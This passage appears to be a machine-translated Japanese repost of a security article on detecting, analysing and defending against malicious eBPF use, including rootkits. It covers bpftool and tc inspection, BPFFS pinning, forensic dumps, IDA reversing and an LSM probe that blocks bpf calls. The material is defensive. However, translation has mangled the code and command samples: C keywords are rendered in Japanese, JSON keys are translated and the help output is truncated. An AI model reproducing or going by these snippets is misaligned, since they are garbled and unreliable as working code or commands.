{{nla_len=8, nla_type=IFLA_XDP_FLAGS}, XDP_FLAGS_UPDATE_IF_NOEXIST} ]。
]
}
},
iov_len=52
}
],
msg_iovlen=1、
msg_controllen=0、
msg_flags=0
}, 0) = 52

IFLA_XDP_FDの後のFDパラメータが6であることがわかる。 同様に、XDPプログラムを削除するには、FDを-1に設定する必要があり、これはNETLINKパッケージの構成に対応し、以下のようになる:

17:55:16.306843 sendmsg(3, {.
{
...
{nla_len=20, nla_type=IFLA_XDP}, { ...
[
{{nla_len=8, nla_type=IFLA_XDP_FD}, -1}, {{nla_len=8, nla_type=IFLA_XDP_FD}, {}.

] }
...
}, 0) = 52

ipコマンドだけではない。TCコマンド分類器 また、BPFプログラムもサポートしており、BPFプログラムをクラシファイアとしてロードし、イングレス/エグレスのフックポイントに作用する。この原理はIPと同様で、NetLinkプロトコルがカーネルと通信し、ネットワークカードがBPFオブジェクトカウンタを保持する。

検出メカニズム

ネイティブのip、tc、およびその他のコマンドを使用して、NICによってロードされたBPFオブジェクトを確認する。

  1. IPリンクショー
  2. tc filter show dev [カード名] [ingress|egress].

Linux eBPF攻撃とセキュリティ上の課題

bpftoolコマンドを使って

bpftool net show dev ens33 -pコマンドを使うと、ネットワーク関連のeBPFフック・ポイントを見ることができる。

CGROUPのBPF_PROG_TYPE_CGROUP_SKBとBPF_PROG_TYPE_CGROUP_SOCKタイプのプログラムのロードは、bpftool prog showで見ることができる。ライフサイクルの長いBPFプログラムと短いBPFプログラムの違いは、ユーザー空間のプロセスPID情報がないことです。これを下図に示す:

Linux eBPF攻撃とセキュリティ上の課題

BPFFS

先に述べた方法に加えてBPFファイルシステムBPFFSはバックグラウンドでBPFプログラムを実行し続けるための方法でもあります。ユーザースペースプロセスはBPFFSにBPFプログラムを任意の名前でPINし、BPFFSにBPFオブジェクトのrefcnt参照カウンタを自動的にインクリメントさせることで、バックグラウンドでアクティブな状態に保つことができます。使用時には、bpf_obj_get("BPFFS path")を使ってBPFオブジェクトのFDを取得してください。

LinuxのBPFFSのタイプはBPF_FS_MAGICであり、デフォルトのディレクトリ/sys/fs/bpf/はカスタムで変更できるが、ファイルシステムのタイプがunix.BPF_FS_MAGICであることを確認すること。

検出のアイデアとしては、仮想ファイルシステムのタイプがunix.BPF_FS_MAGICであるかどうかに注目する必要があります。

Linuxシステムではmount -t bpfをクリックすると、システムにぶら下がっているすべてのファイルタイプと、それらがBPFFSタイプを含んでいるかどうかを見ることができる。

Linux eBPF攻撃とセキュリティ上の課題

BPFFSのディレクトリを決定した後、そのディレクトリのマウントポイントに異常がないか調べます。

法医学

カーネルにロードされたBPFオブジェクトのエクスポート

bpftoolツールは、FD IDでプログ、マップをエクスポートすることができます。

BPFプログラム

opcodevisuallinumやその他のフォーマットでエクスポートでき、呼関係図を生成できる。具体的には、bpftoolのヘルプファイルを参照してください。

root@vmubuntu:/home/cfc4n# bpftool prog help
bpftool prog dump xlated PROG [{ file FILE | opcodes | visual | linum }] bpftool prog dump jited PROG [{ file FILE | opcodes | visual | linum
bpftool prog dump jited PROG [{ file FILE | opcodes | visual | linum }] このダンプは、次のように実行されます。

BPFマップ

プログと同様に、コンテンツはbpftool経由でエクスポートでき、JSON形式のコンテンツもサポートされている。

root@vmubuntu:/home/cfc4n# bpftool map dump id 20
[{
        "値": {
            ".rodata":[{の
                    "target_ppid": 0
                },{
                    "uid": 0
                },{
                    "payload_len": 38
    ...

Linux eBPF攻撃とセキュリティ上の課題

BPFFS

BPFFS型BPFオブジェクトは、バックグラウンドでの実行に置くことがより便利にすることができますが、ユーザー空間のプログラムを終了することができますが、また、再び読み取ることができますが、これはまた、フォレンジックに大きな利便性をもたらす。 bpftoolコマンドはまた、プログ、マップをエクスポートするには、パスのBPFFSファイルシステムに固定からサポートしています。

Linux eBPF攻撃とセキュリティ上の課題

カーネルによってロードされないBPFオブジェクト

バックドアルートキットのユーザースペースプログラムが存在する場合、BPF バイトコードは必ずそのプログラムから呼び出されます。バイトコードの内容は通常、別のファイルに置かれるか、バイトコードとして現在のプログラムにコンパイルされます。これも単純に IDA のようなデコンパイラツールを使って関連するバイトストリームを見つけ、それをエクスポートすればよい。

例として、この記事のデモビデオのehidsプロセスではGitHub/ehids/ebpfmanager 純粋なGoのeBPFモジュールマネージャパッケージは、eBPFバイトコード用のgithub.com/shuLhan/go-bindata/cmd/go-bindataパッケージを使用するBPFバイトコードをロードするために、Gzip圧縮、Goコードの変数として、より多くの境界の展開インチ

IDA Proがロードされると、.noptrdataセグメント部分にこのコード片を見ることができ、開始アドレスは0000000000827AE0です。

Linux eBPF攻撃とセキュリティ上の課題

BPFはユーザランドの実装がそれぞれ異なり、クラスライブラリも異なるため、静的解析は難しい。そこで、同じ環境をシミュレートして動的に実行し、BPFのシステムコールを事前にフックしてFDが設定されている場所を探したり、BPFのELFファイルをエクスポートすることができます。

バイトコード解析

BPFのバイトコード自体もELF形式ですが、ちょうどフォーマットの命令はいくつかの違いがあります。デコンパイラツールのIDA proも対応しており、海外のセキュリティエンジニアがPythonプラグインをオープンソース化している:eBPF IDA Proc そして、それを分析した記事をまとめた:BlackBerry社の強化されたIDAプロセッサー・ツールによるEbpfkitルートキットのリバース・エンジニアリング 興味のある学生は読んでほしい。

Linux eBPF攻撃とセキュリティ上の課題

どう守るか

ネットワークセキュリティシナリオのeBPFの使用は、侵入検知に加えて、また、防衛のために使用することができます。 LSMのPROBEフックは、関連する機能を提供します。コンテナエスケープシナリオは、例えば、動作の最も明白な特徴は、"親子プロセス "名前空間の矛盾は、子プロセスの作成が完了すると、この機能が一致するかどうかを判断し、EPERMを返すように、プロセス作成関数の戻り値をカバーするために防衛の目的を果たす。カーネルモジュールや他の防御の実装と比較して、eBPFの実装は、より安全、安定性と信頼性が高いため、ソースでコンテナの脱出の問題を解決します。

同様に、本稿では、eBPFがバイナリレイヤーに最適な仮想パッチ、ホットアップデートソリューションであることを主張する。

Linux eBPF攻撃とセキュリティ上の課題

LSM_PROBE(bpf. イント cmd。 連合 bpf_attr *attr、 無記名 イント サイズ)
{
    戻る -エパーム
}

システムのコンフィギュレーションには一定の要件があり、CONFIG_BPF_LSM=y、CONFIG_LSMおよびその他のコンフィギュレーション・コンテンツには、bpfなどが含まれていなければならない。BCC クラス・ライブラリ・デモ lsm プローブ 。

エンジニアリングの実現

練習

まずはBCCのクラス・ライブラリを使って練習してみよう:ギットハブ/BCC およびC言語によるユーザー・スペース・プログラムのさまざまなデモ例。デモBPFアプリケーション 。

クラス・ライブラリーの選択

エンジニアリングは、プロジェクトの品質、安定性、R&D効率の要件は、我々はCiliumの純粋なGo eBPFライブラリをお勧めします、Ciliumによる公式の裏書は、Datadogのエージェント製品の使用もこのライブラリを使用していることを保証することができます。

本論文の製品もDatadogを指し、CiliumのeBPFライブラリを抽象的にラップし、eBPFプログラムの設定可能で便利な管理を実現している。 GitHubリポジトリ:ehids/ebpfmanager ご自由にお使いください。

Linux eBPF攻撃とセキュリティ上の課題

もちろん、Traceeのような製品など、libbpfパッケージのGoライブラリを使用して実装することもできる。

システム互換性 CO-RE

eBPFの登場により、カーネルコードを記述する敷居が大幅に簡略化され、eBPFはその高いセキュリティ、ユーザーフレンドリーなロード方法、効率的なデータインタラクションにより、高い注目を集めている。しかし、従来のカーネルモジュールの記述と同様に、カーネルステート関数の開発には面倒な適応テスト作業が伴い、Linuxのカーネルバージョンの多さが適応をさらに難しくしているため、BTFが登場する以前からbcc + clang + llvmが批判されていた。プログラムは実行時にコンパイルされるため、ターゲットマシンはclang llvm kernel-headerやその他のコンパイル環境をインストールしなければならず、コンパイルには多くのCPUリソースも消費されるため、高負荷なマシンでは受け入れがたいものもある。

したがって、BTF&CO - REはどこからともなく現れ、BTFは、従来の方法デバッグ情報は非常に巨大になる前に、方法を記述するデバッグシンボルの一種として理解することができる、Linuxカーネルは、一般的にデバッグシンボルをオフにします、BTFの出現は、この問題を解決するために、大幅にデバッグ情報のサイズを削減し、本番シナリオカーネルは、デバッグ情報を可能運ぶこと。

幸いなことに、BTF&CO-REを使用することで、この技術は、開発者が多くの適応の労力を節約することができます。しかし、この技術はまだ開発中であり、構造部材が下部構造に移動されるなど、まだ手動で問題を解決する必要がある、まだ対処できない多くのシナリオがあります。bpf-coreリファレンスガイド

大規模プロジェクト

海外では、クラウド・ネイティブな製品分野の発展が加速しており、CiliumをはじめとするeBPFベースの製品が次々と登場している、データドッグ Falco、Katranなど、ネットワーク・オーケストレーション、ネットワーク・ファイアウォール、追跡・測位、ランタイム・セキュリティなど、様々な分野で応用されている。これらの大規模プロジェクトの研究開発経験から、マルチシステム互換性、フレームワーク設計、プロジェクト品質、監視システムの構築など、製品の構築を加速させるために学ぶことができる。今回は検知と防御に焦点を当て、エンジニアリングと構築に関連する経験は今後の記事で紹介する。

概要

クラウドネイティブの急速な発展に伴い、eBPFの実装ソフトウェアと実行環境はますます普及していくだろう。そして、eBPFの悪意ある悪用はますます一般的になるだろう。国内外の状況から判断すると、この方向に関する海外の研究は国内よりはるかに進んでいる。今一度、ネットワーク・セキュリティ製品にeBPF関連の脅威検知機能を早急に搭載することを強く求める。

この記事では、我々はあなたとeBPF技術に基づいて悪意のある悪用と検出メカニズムについて説明し、製品開発、エンジニアリング建設やその他のコンテンツの防御と検出でeBPFに言及し、我々は次の記事であなたと共有する予定です、楽しみにしてください。

著者プロフィール

チェン・チー、ヤン・イー、シン・ボーの3人は、いずれもMeituan Information Securityの社員だ。

書誌

 

元記事はSnowFlakeによるもの。転載の際は、https://www.cncso.com/jp/linux-ebpf-attack-and-defense-and-security.html。

のように (0)
前の 2024年3月4日(金)午後7時45分
2024年3月11日 1時46分

関連する提案